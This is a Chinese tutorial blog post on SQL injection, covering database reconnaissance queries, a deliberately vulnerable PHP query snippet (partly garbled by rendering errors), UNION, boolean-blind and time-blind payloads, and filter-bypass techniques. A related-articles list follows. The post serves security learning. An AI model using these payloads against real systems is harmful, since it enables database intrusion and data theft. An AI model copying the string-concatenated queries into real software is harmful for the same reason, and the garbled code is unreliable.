【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解

news2024/11/15 2:06:26

前言

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

点击此处即可获取282G网络安全零基础入门学习资源】

信息搜集

信息搜集在 SQL 注入攻击中扮演着重要的角色,它为攻击者提供了关键的目标数据库和应用程序信息,帮助攻击者更好地进行后续的攻击操作。

信息搜集主要包括以下几个方面:

1.识别和了解目标数据库:获取目标数据库的类型、版本、表结构、列名以及其他关键信息。
2.获取敏感信息:获取目标数据库中的敏感信息,如用户名、密码、用户权限、财务信息等。
3.发现漏洞和弱点:发现目标应用程序的漏洞和弱点,如不安全的输入验证、不当的错误处理机制等。
4.判断注入点和注入类型:确定目标应用程序存在的注入点,即用户输入数据直接或间接进入 SQL 语句的位置。同时,了解到目标应用程序的数据库交互方式(如直接构造 SQL 语句、使用存储过程等),从而选择最适合的注入类型和方法。

使用以下一些指令获取相关信息:

1.select version():获取数据库版本;
在这里插入图片描述
2.select user():获取数据库用户名;
在这里插入图片描述
3.select database():获取数据库名;
在这里插入图片描述
4.select @@datadir:获取数据库路径;
在这里插入图片描述
5.select @@version_compile_os:获取操作系统版本;
在这里插入图片描述

注入入门

基础注入

假设一个网站的部分源码如下所示:

$sql = “SELECT * FROM users where name='”;
$sql .= $_GET[“name”].“'”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: …lt) { while (row = mysql_fetch_assoc( r e s u l t ) ) e c h o " < t r > " ; e c h o " < t d > " . result)) echo "<tr>"; echo "<td>". result))echo"<tr>";echo"<td>".row[‘id’].“”;
echo “”. r o w [ ′ n a m e ′ ] . " < / t d > " ; e c h o " < t d > " . row['name']."</td>"; echo "<td>". row[name]."</td>";echo"<td>".row[‘age’].“”;
echo “”;
}
echo “”;

那么我们根据其 SQL 语句 SELECT * FROM users where name=’ 进行正常查询时,可以发现不管有没有这个用户名 name,最终都会显示出结果,运行结果如下:
在这里插入图片描述
那么我们据此构造一些恶意语句,比如说使用 union 进行联合查询,使用 union 需要保证前后查询的字段数量保持一致,否则会报错,运行结果如下所示:
在这里插入图片描述
那么根据上述原理,我们可以匹配出网页源码中 SQL 语句里的 * 代表着 5 个字段,运行结果如下所示:
在这里插入图片描述

我们可以构造 SQL 收集一些信息,比如 admin union select version(),user(),database(),4,5–+,运行结果如下:
在这里插入图片描述

SQL 盲注

SQL 盲注是指在进行网络安全测试或攻击时,攻击者通过检测系统的响应来确定系统中存在的漏洞或薄弱点的一种方法。攻击者通常会发送特定的请求到目标系统,并观察系统的响应,如果响应的结果与预期不符,那么可能存在漏洞。通过不断尝试不同的请求和观察响应,攻击者可以逐步获得关于目标系统的信息,并利用这些信息进行进一步的攻击。
假设一个网站的部分源码如下所示:

$sql = “SELECT * FROM users ORDER BY "; $sql = mysql_real_escape_string($_GET["order"])."”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);

接下来我们将采用布尔盲注和时间盲注的方式进行攻击。

布尔盲注

布尔盲注是指在进行 SQL 注入时,根据返回的结果是 True 或者是 False 来得到数据库中的相关信息。
由于网站源码是对 order by 进行了拼接,因此我们不能再使用 union 等方法进行注入,而且这里并没有报错输出,因此采用布尔盲注的方式,为了方便调试,接下来将以 BP 抓包的形式展现。
首先是正常的进行请求,运行结果如下:
在这里插入图片描述

接下来使用布尔盲注,因为上个例子已经知道数据库名是 exercises,因此这里就不做过多猜测,注入语句如下:

order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))

解释一下上述的 SQL 语句,这句 SQL 的目的是通过判断数据库名的第一个字符的 ASCII 码值是否大于100(e 是101),来实现一个条件查询的排序。如果第一个字符的 ASCII 码值大于100,则按照字段名 name (0x6e616d65)升序排序,否则按照括号字符 ( (0x28)的 ASCII 码值来排序。
同时,这句 SQL 中使用了一些函数和技巧:

MID() 函数用于提取字符串的部分字符。
IFNULL() 函数用于判断数据库名是否为空,如果为空,则返回一个空格字符 “0x20”。
CAST() 函数用于将数据库名转换为 NCHAR 类型。
ORD() 函数用于获取一个字符的 ASCII 码值。
CASE WHEN 语句用于判断 ASCII 码值是否大于100。

运行结果:
在这里插入图片描述
推断数据库名的第二个字符的 SQL 语句如下:

order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))

接下来以此类推就可以了。

时间盲注

除了布尔盲注之外,还存在其他的盲注方式,比如时间盲注。

时间盲注是指攻击者向目标应用程序发送恶意的请求时,如果存在时间盲注漏洞,应用程序可能会有不同的响应时间。

正常查询时,所需时间如下:

在这里插入图片描述

构造时间盲注的 SQL 语句:

order=age` and if(ascii(substr(database(),1,1))=101,sleep(1),1)–+

运行结果:
在这里插入图片描述

绕过方式

为了避免 SQL 注入攻击,应用程序会对输入数据进行适当的验证和过滤,而 hacker 会绞尽脑汁地想办法去进行绕过,以下是一些常见的绕过方式。

空格被过滤

1、使用 /xxx/ 行内注释或者 () 进行绕过:

SELECT/1/username,password/1/FROM/1/users;
SELECT(username),(password)FROM(users);

在这里插入图片描述
2、使用 %09 %0a %0b %0c %0d %a0 等不可见字符进行绕过:

%09:TAB 键(水平);
%0a:新建一行;
%0b:TAB 键(垂直);
%0c:新的一页;
%0d:return 功能;
%a0:空格;
假设一个网站的部分源码如下所示:

if (preg_match(‘/ /’, $_GET[“name”])) {
die(“ERROR NO SPACE”);
}
$sql = “SELECT * FROM users where name='”;
$sql .= $_GET[“name”].“'”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);

如果是正常注入的话,会发现空格被过滤了,导致注入失败:
在这里插入图片描述

因此,我们需要使用不可见字符替换空格,下面将使用 %a0 进行替换:
在这里插入图片描述

引号被过滤

使用十六进制代替字符串,比如将 sidiot 的十六进制表示为 0x736964696f74:

SELECT username, password FROM users WHERE username=0x736964696f74

在这里插入图片描述

逗号被过滤

1、使用 from for 代替逗号:

#替换前
select substr(database(),1,1);
#替换后
select substr(database() from 1 for 1);

在这里插入图片描述
2、使用 join 代替逗号:

#替换前
select 1,2;
#替换后
select * from (select 1)a join (select 2)b;

在这里插入图片描述
3、使用 offset 代替逗号:

#替换前
select * from users limit 0,1;

#替换后
select * from users limit 1 offset 0;

在这里插入图片描述

比较符号被过滤

1、用 like, rlike, regexp 代替 =:

select * from users where username like ‘sidiot’;
select * from users where username rlike ‘sidiot’;
select * from users where username regexp ‘sidiot’;

在这里插入图片描述
2、用 greatest()、least() 代替 <>:

#替换前
select * from users where id=1 and ascii(substr(database(),0,1))<64;
#替换后
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
select * from users where id=1 and least(ascii(substr(database(),1,1)),64)=64;

在这里插入图片描述
or/and/xor/not 被过滤

and = &&
or = ||
xor = |
not = !

常用函数被过滤

hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()

后记

通过本文的讲解,我们对 SQL 注入漏洞有了更深入的理解。了解了信息搜集在 SQL 注入过程中的重要性,并学习了一些基础的入门注入技巧和常用的绕过注入方法。因此,我们要意识到 SQL 注入对系统安全造成的严重威胁,在设计和开发阶段就采取必要的安全措施,例如使用参数化查询和限制权限访问等,建立更安全的应用程序,并保护数据的安全性。
以上就是 SQL 注入漏洞之理论讲解 的所有内容了,希望本篇博文对大家有所帮助!
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

网络安全学习路线

对于零基础想入门网络安全的同学,我整理了一份网络安全学习资料给大家,包含成长路线、视频教程、工具安装包、网安面试题等资料。

需要的小伙伴点击此处即可获取

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

以上资源点击此处即可无偿获取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1080492.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python使用MySQL,无记录则插入,有记录则更新 - ON DUPLICATE KEY UPDATE

一、基本语法 ON DUPLICATE KEY UPDATE 语句基本功能是&#xff1a;当表中没有原来记录时&#xff0c;就插入&#xff0c;有的话就更新。 使用注意事项如下&#xff1a; ON DUPLICATE KEY UPDATE语句根据主键id或唯一键来判断当前插入是否已存在。记录已存在时&#xff0c;只…

antd pro form 数组套数组 form数组动态赋值 shouldUpdate 使用

antd form中数组套数组 form数组动态变化 动态赋值 需求如上&#xff0c;同时添加多个产品&#xff0c;同时每个产品可以增加多台设备&#xff0c;根据设备增加相应编号&#xff0c;所以存在数组套数组&#xff0c;根据数组值动态变化 使用的知识点 form.list form中的数组…

力扣第617题 合并二叉树 c++ 前中后序 完成 附加迭代版本

题目 617. 合并二叉树 简单 相关标签 树 深度优先搜索 广度优先搜索 二叉树 给你两棵二叉树&#xff1a; root1 和 root2 。 想象一下&#xff0c;当你将其中一棵覆盖到另一棵之上时&#xff0c;两棵树上的一些节点将会重叠&#xff08;而另一些不会&#xff09;。你需…

使用 nodejs,SpringBoot 两种方式实现 WebSocket

前言 WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议&#xff0c;它可以让浏览器和服务器之间实现实时双向数据传输。 WebSocket 的优点是&#xff1a; 可以节省服务器资源和带宽&#xff0c;提高性能和效率可以让服务器主动向客户端推送数据&#xff0c;实现实时响…

Nacos 小bug: application.properties配置未生效,导致端口未生效

最近用了下nacos 1.4.6 ,发现windows 中修改配置中的启动端口未生效&#xff0c;其实就是配置文件没读取到。 去github 逛了一下issue ,参考这个&#xff1a;https://github.com/alibaba/nacos/issues/10217 这哥们儿是nacos 1.4.5 Linux系统下的相同问题&#xff0c;shell 中…

发掘Linux世界的终极工具,推荐11款Linux桌面终端模拟器

发掘Linux世界的终极工具&#xff0c;推荐11款Linux桌面终端模拟器 广漂客家妹小关vlog2023-07-14 10:46广东 作为Linux使用者&#xff0c;我们深知终端的力量和灵活性。而选择一个适合自己需求的终端模拟器&#xff0c;则是提升工作效率和体验的关键。现如今&#xff0c;众多…

碰撞检测算法——分离轴算法在Unity中实现(一)

在实现分离轴算法前&#xff0c;需要做一些准备工作&#xff0c;在Unity中实现自定义多边形的显示&#xff0c;以及获取多边形的顶点和边的数据。 1.实现自定义多边形显示 Unity中MeshFilter是负责处理Mesh&#xff08;网格&#xff09;的信息的引用&#xff0c;MeshRender是渲…

电容如何能做升压?(电荷泵的工作原理及特性)

目录 一、电荷泵 二、电荷泵工作原理 1、 倍压型电荷泵 2、 稳压型电荷泵 1、 开关调整稳压型电荷泵 2、 LDO稳压型电荷泵 3、 反向型电荷泵 三、 电荷泵的优劣势 1&#xff09;成本 2&#xff09;效率 3&#xff09;噪声 4&#xff09;面积及EMI 5&#xff09;输…

apifox的使用以及和idea集成

apifox 简介 Apifox 是 API 文档、API 调试、API Mock、API 自动化测试一体化协作平台&#xff0c;定位 Postman Swagger Mock JMeter&#xff0c;由此可见apifox集功能于一身&#xff0c;极大的提升了我们开发的效率&#xff0c;不用再为postman网络连接失败而发愁&…

【Qt】对话框QDialog

文章目录 **对话框**QDialog**基本概念**对话框分类标准对话框自定义消息框模态对话框非模态对话框 案例&#xff1a;点击新建按钮弹出对话框消息对话框其它标准对话框 对话框QDialog 基本概念 对话框是 GUI 程序中不可或缺的组成部分。很多不能或者不适合放入主窗口的功能组…

将 Ordinals 与比特币智能合约集成:第 3 部分

基于 Ordinals 的 BSV-20 同质化代币 之前&#xff0c;我们展示了如何将比特币智能合约与 Ordinals 集成&#xff0c;Ordinals 可以被视为链上的 NFT。 在本文中&#xff0c;我们将展示如何将它们与同质化代币&#xff08;即 BSV-20 代币&#xff09;集成。 我们仍然以拍卖为例…

【业务功能篇 131】23种设计模式介绍

第一章 设计模式概述 1.1 代码质量好坏如何评价? 要想学习设计模式呢 我们就必须搞清楚设计模式到底在我们的编程过程中起到了怎样的作用,在编程世界中它处在一个什么样的位置,它到底是一种抽象的设计思想,还是一套具体的落地方案. 在学习设计模式之前呢 我们需要了解一下 代…

【轻松玩转MacOS】故障排除篇

引言 在使用 MacOS 时&#xff0c;遇到故障是在所难免的。不要担心&#xff0c;这篇文章将为您提供一些常见的故障排除步骤&#xff0c;并介绍如何联系苹果的支持团队寻求帮助。让我们一起来看看吧&#xff01; 一、常见的故障排除步骤 1.1 网络连接问题 如果你发现你的Mac…

中兴路由器mesh组网设置分享!没想到居然这么简单!

前段时间忙了几天&#xff0c;总算是搬进新家了&#xff0c;因为新家比之前租的房子大了许多&#xff0c;所以之前用的路由器已经是力不从心了&#xff0c;我把它放大厅里&#xff0c;除了离大厅最近的一个房间有信号&#xff0c;其他两个房间的信号微乎其微&#xff0c;就算连…

接口自动化测试,如何实现多套环境的自动化测试?

在敏捷迭代的项目中&#xff0c;通常会将后台服务部署到多套测试环境。那么在进行接口自动化测试时&#xff0c;则需要将服务器的域名进行配置。使用一套接口测试脚本&#xff0c;通过切换域名地址配置&#xff0c;实现多套环境的自动化测试。 实战练习 分别准备两套测试环境…

【Python语义分割】Segment Anything(SAM)模型介绍安装教程

1 Segment Anything介绍 1.1 概况 Meta AI 公司的 Segment Anything 模型是一项革命性的技术&#xff0c;该模型能够根据文本指令或图像识别&#xff0c;实现对任意物体的识别和分割。这一模型的推出&#xff0c;将极大地推动计算机视觉领域的发展&#xff0c;并使得图像分割技…

【网络安全 ---- 靶场搭建】凡诺企业网站管理系统靶场详细搭建过程(asp网站,练习Access数据库的 sql注入)

一&#xff0c;资源下载 百度网盘资源下载链接&#xff1a;百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固&#xff0c;支持教育网加速&#xff0c;支持手机端。注册使用百度网盘即可享受免费存储空间https://pan.baidu.com…

离散型制造企业MES管理系统解决方案

随着制造业的快速发展&#xff0c;离散型制造企业面临着越来越多的挑战。多样性、生产批次、工序复杂性以及高度定制化等特点使得企业的生产管理变得越来越复杂。为了提高生产效率和管理效率&#xff0c;许多企业开始寻求合适的解决方案。本文将以离散型制造企业的特点为基础&a…

云剪辑解决方案,支持云端剪辑私有化部署

在当今的商业环境中&#xff0c;视频已经成为了企业宣传和品牌推广的重要工具。然而&#xff0c;视频制作技术开发部署的成本和复杂性却让许多企业望而却步。为了解决这个问题&#xff0c;美摄科技推出了云剪辑解决方案&#xff0c;这是一款专为企业设计的高效视频剪辑技术服务…

Vuex使用方式及异步问题处理

&#x1f3ac; 艳艳耶✌️&#xff1a;个人主页 &#x1f525; 个人专栏 &#xff1a;《Spring与Mybatis集成整合》《Vue.js使用》 ⛺️ 生活的理想&#xff0c;为了不断更新自己 ! 目录 1.Vuex简介&#xff1a; 2.vuex获取值 2.1安装 2.2.菜单栏 2.3.模块 2.4使用 3.改…